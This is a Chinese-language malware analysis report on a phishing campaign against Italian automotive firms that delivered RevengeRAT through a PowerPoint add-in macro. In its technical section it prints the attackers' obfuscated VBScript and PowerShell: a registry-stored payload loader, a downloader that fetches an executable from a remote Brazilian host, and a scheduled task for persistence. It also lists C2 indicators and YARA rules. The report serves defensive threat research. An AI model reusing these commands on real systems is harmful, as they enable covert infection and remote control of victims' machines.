一、介绍
Cybaze-Yoroi ZLab的研究人员调查了最近针对意大利汽车行业公司武器化的间谍恶意软件植入程序。恶意软件通过拼写很规范的网络钓鱼电子邮件传播,试图模仿巴西一家主要商业律师事务所的高级合伙人:“Veirano Advogados”。
在CSDC操作期间截获的恶意电子邮件包含一个PowerPoint加载项文档(“.ppa”扩展名),具备自动打开的VBA宏代码。
图1. .ppa文件打开时显示的弹出窗口
二、技术分析
.ppa文件中的宏代码包含一个简单的指令,调用“mshta.exe”工具来下载并执行从“hxxps://minhacasaminhavidacdt.blogspot [.com /”中获取的dropper的下一个阶段。
图2.从.ppa文档中提取的宏
由mshta.exe下载的Blogspot托管网页快速浏览起来看似无辜:在浏览器中打开它显示完美的工作进度博客页面。
图3. Blogger drop url的主页
但是对其源代码的深入检查揭示一个有趣的代码片段插入到一个看不见的博客中:这篇幽灵文章包含VBScript代码。
图4.隐藏在网页后面的Visual Basic脚本
有趣的是,恶意软件作者试图将脚本的隶属关系归因于“微软公司”,并添加了属于合法微软套件的注释:
‘Update——————————————————————————————— ‘ Copyright: Microsoft Corp. ‘ ‘ This script is designed to be used only for scheduled tasks(s). ‘ There is no extensive error check, and will not dump the output from the Powershell CmdLet. ‘ ‘ Usage: SyncAppvPublishingServer {cmdline-args(passthrough to cmdlet)}
这些注释实际上是通常部署到Windows 10计算机中“SyncAppvPublishingServer”实用程序的一部分,位于“C:\Windows\System32\SyncAppvPublishingServer.vbs”。脚本的剩余部分负责执行一系列恶意操作:
· 将base64编码版本的“RevengeRAT”有效载荷存储到位于“HKCU\AppEvents\Values”的注册表项中
CreateObject("Wscript.Shell").regwrite "HKCU\AppEvents\Values", "TVqQAAMAAAAEAAAA//8AALgAAA.....[continue]" , "REG_SZ"
· 解码并执行存储的有效载荷
Set A0102030405 = CreateObject("WScript.Shell")Dim CDT0908087CDTCDT0908087CDT = "cmd." + "exe /C rundll32." + "exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WScript.Shell"").run(""cmd." + "exe /c power" + "shell -" + "Execution" + "Policy Bypass -windows" + "tyle hidden -noexit -Command [Reflection." + "Assembly]::Load([Convert]::FromBase64String((Get-ItemProperty HKCU:\AppEvents).Values)).EntryPoint" + ".Invoke($N" + "ull,$" + "Null)"",0,true);" A0102030405.run CDT0908087CDT, vbHide
· 创建并执行另一个VBScript“%AppData%\Local\Temp\Z3j.vbs”,从远程目标“hxxp://cdtmaster.com [.] br”下载新的有效载荷
Set XbonXo = CreateObject("WScript.Shell")Dim XoowA83ACXoowA83AC = "c" + "M" + "d /c cd %TEMP% &@echo Z6h = ""h" + "t" + "tp://cdtmaster.com.br/Document." + "mp3"">>Z3j.vbs &@echo M2l = M5t(""R]Qc[S\b<SfS"")>>Z3j.vbs &@echo Set M1s = CreateObject(M5t(""[af[[email protected]<f[ZVbb^""))>>Z3j.vbs &@echo M1s.Open M5t(""USb""), Z6h, False>>Z3j.vbs &@echo M1s.send ("""")>>Z3j.vbs &@echo Set E3i = CreateObject(M5t(""OR]RP<ab`SO[""))>>Z3j.vbs &@echo E3i.Open>>Z3j.vbs &@echo E3i.Type = 1 >>Z3j.vbs &@echo E3i.Write M1s.ResponseBody>>Z3j.vbs & @echo E3i.Position = 0 >>Z3j.vbs &@echo E3i.SaveToFile M2l, 2 >>Z3j.vbs &@echo E3i.Close>>Z3j.vbs &@echo function M5t(N3y) >> Z3j.vbs &@echo For S2r = 1 To Len(N3y) >>Z3j.vbs &@echo E0k = Mid(N3y, S2r, 1) >>Z3j.vbs &@echo E0k = Chr(Asc(E0k)- 14) >>Z3j.vbs &@echo G3f = G3f + E0k >> Z3j.vbs &@echo Next >>Z3j.vbs &@echo M5t = G3f >>Z3j.vbs &@echo End Function >>Z3j.vbs& Z3j.vbs &dEl Z3j.vbs & timeout 2 & DOCUMENT.EXE"XbonXo.Run XoowA83AC, vbHide
· 最后,创建一个新任务,每两个小时使用“hxxps://pocasideiascdt.blogspot [.] com/”参数再次运行“mshta.exe” utiliy。此URL实际上指向“https://minhacasaminhavidacdt.blogspot [.] com /”的镜像的网页。
Dim OUGo57658586GFFJHGSet OUGo57658586GFFJHG = CreateObject("WScript.Shell")asdmmmc= "c" + "Md /c Sc" + "hTa" + "sks /Cre" + "ate /sc MIN" + "UTE /MO 120 /TN OfficeData /TR ""m" + "sh" + "ta." + "exe h" + "ttp" + "s://pocasideiascdt.blogspot.com/"" /F "OUGo57658586GFFJHG.Run asdmmmc, vbHideself.close
图5.持久性的计划任务
总而言之,感染链的最后阶段旨在安装隐藏在regkey中的RevengeRAT变体,并运行由“Document.exe”二进制文件提取的“outlook.exe”可执行文件,其中Document.exe从“hxxp://cdtmaster.com[.]BR/Document.mp3”获取 。
下图简要显示了恶意软件感染链:
图6. Roma255感染链
三、RevengeRAT载荷
一旦执行,RAT立即联系其命令和控制服务器,并发送受害者机器的信息。在所分析的样本中,作者配置了两个不同的C2:“office365update[.]duckdns.org”和“systen32.ddns[.]net”。
图7. RevengeRAT的配置
如果其中一个出现故障,则恶意软件将与另一个通联。在撰写本文时,远程C2都已关闭,因此只能模拟服务器行为来分析RAT发送的信息。
恶意软件与服务器建立TCP连接并向其发送以下内容:
图8. RevengeRAT签到数据
乍一看,就能发现在数据字段之间用作分隔符的重复字符序列:
roma225
攻击者在恶意软件的准备过程中使用RevengeRAT构建器提供的自定义功能选择了此字符串。拆分、解码数据流,信息变得更加清晰:
图9.解码的签到数据
如前所述,C2在撰写时没有响应,但是他们最新解析的IP地址表明攻击者的基础设施可能位于不同的国家。
例如,域名“office365update [.] duckdns.org”已解析为184.75.209.169,地址位于加拿大。
此外,“systen32.ddns [.] net”解析为138.36.3.228,地理定位在巴西。
四、Document.exe
“Document.exe”文件位于“cdtmaster.com .br”,实际上是通过“Z3j.vbs”脚本下载到受害者计算机中。这个PE32文件的特点是将Pokemon Megaball图像用作程序图标,其唯一目的是部署和运行“Outlook.exe”有效载荷。
从最后一个示例中提取静态PE信息,显示引用了“SendBlaster”,该应用程序是用于传递新闻稿的程序。由此出现了另一个有趣的事实:该产品目前由意大利公司eDisplay Srl开发,因此,这是除了“roma225”分隔符之外,另一个指向意大利的标志。
图10. Outlook.exe静态信息
执行“Outlook.exe”有效载荷时,它显然保持安静:没有外传的网络流量或文件系统修改;但是它绑定了localhost上的TCP套接字:“tcp://127.0.0.1:49356”。
Cybaze-Yoroi ZLab研究人员仍在剖析Outlook.exe样本以提取其真实行为。
五、总结
在第一次分析之后,很难将攻击归因于特定的威胁行为者。在过去,RevengeRAT变种也被APT团体使用,例如The Gorgon Group,由Unit42研究人员追踪的神秘威胁行为者,针对英国、西班牙、俄罗斯和美国政府组织的网络间谍活动的作者。然而,RAT的源代码几年前就被公开泄露,实际上可能是众多网络武器库的一部分。
无论如何,该行动与Unit42报告有共同的TTP,例如共享基础设施(在特定情况下是Blogger服务)作为drop-server以及其他流行的RAT作为最终后门(即njRAT)的使用。
事实上,“cdtmaster.com. br”也托管其他可疑文件,例如“nj.mp3”二进制文件,它实际上是一个njRAT变体。所有其他文件仍在调查中。
图11.在ctdmaster.com.br上托管的恶意软件
IoC
· Dropurl:
· hxxps://minhacasaminhavidacdt.blogspot[.]com
· hxxps://pocasideiascdt.blogspot[.]com/
· hxxp://cdtmaster.]com.br
· 177.85.98.242
C2 (RevengeRAT):
· office365update[.]duckdns.org
· 184.75.209.169
· systen32.ddns[.]net
· 138.36.3.228
Persistency:
· HKCU\AppEvents\<”Values”>
Hash:
· 4211e091dfb33523d675d273bdc109ddecf4ee1c1f5f29e8c82b9d0344dbb6a1
· e8a765ec824881e1e78defd7c011da735f3e3b954aaf93a4282b6455a1b9afcc
· 702e5cc9462e464c8c29c832fe0d1ecd5cd7740cc2cbceecfd70e566da8194a1
Yara规则
rule Rooming_List_Advogados_e_Seguranca_21_12_2018{ meta: description = "Yara Rule for revengeRAT_roma225" author = "Cybaze Zlab_Yoroi" last_updated = "2018-12-21" tlp = "white" category = "informational" strings: $a1 = {56 00 42 00 41} $a2 = {4D F3 64 75 6C 6F 31} $a3 = {4D 73 68 74 61} $b = "Auto_Open" $c = "Shell" $d = "https://minhacasaminhavidacdt.blogspot.com" $e = {D0 CF 11 E0 A1 B1 1A E1} condition: $b and $c and $d and $e and 1 of ($a*)} rule revengeRAT_21_12_2018{ meta: description = "Yara Rule for revengeRAT_roma225" author = "Cybaze Zlab_Yoroi" last_updated = "2018-12-21" tlp = "white" category = "informational" strings: $a1 = "FromBase64String" $a2 = {17 00 38 72 1F 00 00 20 D7 ?? ?? ?? 20 47} $b = {4D 5A} $c = {65 5A 33 78 63 6B 4A 39 4B 51 47 4B 50 36 33 55 37 39 67} $d = "RevengeFUD0000000.exe" $e = "7ec6b2a4-a8e7" condition: $b and $c and $d and $e and 1 of ($a*) } rule Outlook_exe_21_12_2018{ meta: description = "Yara Rule for revengeRAT_roma225" author = "Cybaze Zlab_Yoroi" last_updated = "2018-12-21" tlp = "white" category = "informational" strings: $a1 = "Dispose" $a2 = {53 00 65 00 6E 00 64 00 42 00 6C 00 61 00 73 00 74 00 65 00 72} $b = {4D 5A} $c = {49 4D 4E 64 48 49 37 49 34 69 57 37 46 6E 73 6F 49 38} $d = "ScreenBooking4" $e = "capturaTela" condition: $b and $c and $d and $e and 1 of ($a*) } rule Document_exe_21_12_2018{ meta: description = "Yara Rule for revengeRAT_roma225" author = "Cybaze Zlab_Yoroi" last_updated = "2018-12-21" tlp = "white" category = "informational" strings: $a1 = "Dispose" $a2 = {F5 38 7E 26 EA 99} $b = {4D 5A} $c = {6C 38 6E 78 4A 79 30 6E 34 616D 4A 74 4F 67 00 57} $d = "4System" $e = {53 6B 79 70 65 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73} condition: $b and $c and $d and $e and 1 of ($a*)}